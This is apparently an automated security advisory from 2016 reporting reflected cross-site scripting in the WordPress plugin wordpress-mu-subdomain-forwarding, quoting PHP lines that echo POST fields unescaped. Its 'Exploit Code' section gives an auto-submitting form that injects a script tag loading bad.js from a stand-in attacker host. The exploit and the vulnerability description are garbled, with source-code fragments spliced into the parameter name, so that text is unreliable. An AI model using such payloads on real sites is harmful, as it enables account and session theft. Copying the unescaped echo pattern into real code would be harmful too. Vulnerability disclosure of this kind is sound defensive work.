Advisory #: 1409
Title: Reflected XSS in wordpress plugin wordpress-mu-subdomain-forwarding v0.1.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wordpress-mu-subdomain-forwarding
Downloads: 2164
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wordpress-mu-subdomain-forwarding
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wordpress-mu-subdomain-forwarding/subdomain_forwarding.php: 247: <textarea name='subdf_profile_header' id='subdf_profile_header' rows='5' cols='45' style="width: 95%"><?php echo $_POST[ 'subdf_profile_header' ]; ?></textarea> 253: <textarea name='subdf_profile_footer' id='subdf_profile_footer' rows='5' cols='45' style="width: 95%"><?php echo $_POST[ 'subdf_profile_footer' ]; ?></textarea> 258: <textarea name='subdf_profile_heading_header' id='subdf_profile_heading_header' rows='5' cols='45' style="width: 95%"><?php echo $_POST[ 'subdf_profile_heading_header' ]; ?></textarea> 263: <textarea name='subdf_profile_heading_footer' id='subdf_profile_heading_footer' rows='5' cols='45' style="width: 95%"><?php echo $_POST[ 'subdf_profile_heading_footer' ]; ?></textarea> 268: <textarea name='subdf_profile_heading_content_header' id='subdf_profile_heading_content_header' rows='5' cols='45' style="width: 95%"><?php echo $_POST[ 'subdf_profile_heading_content_header' ]; ?></textarea> 273: <textarea name='subdf_profile_heading_content_footer' id='subdf_profile_heading_content_footer' rows='5' cols='45' style="width: 95%"><?php echo $_POST[ 'subdf_profile_heading_content_footer' ]; ?></textarea> The variable subdf_profile_header' ]; ?></textarea> 253: <textarea name='subdf_profile_footer' id='subdf_profile_footer' rows='5' cols='45' style="width: 95%"><?php echo $_ appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wordpress-mu-subdomain-forwarding/subdomain_forwarding.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/wordpress-mu-subdomain-forwarding/subdomain_forwarding.php method=post> <input type=hidden name=subdf_profile_header' ]; ?></textarea>
  4. 253: <textarea name='subdf_profile_footer' id='subdf_profile_footer' rows='5' cols='45' style="width: 95%"><?php echo $_ value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>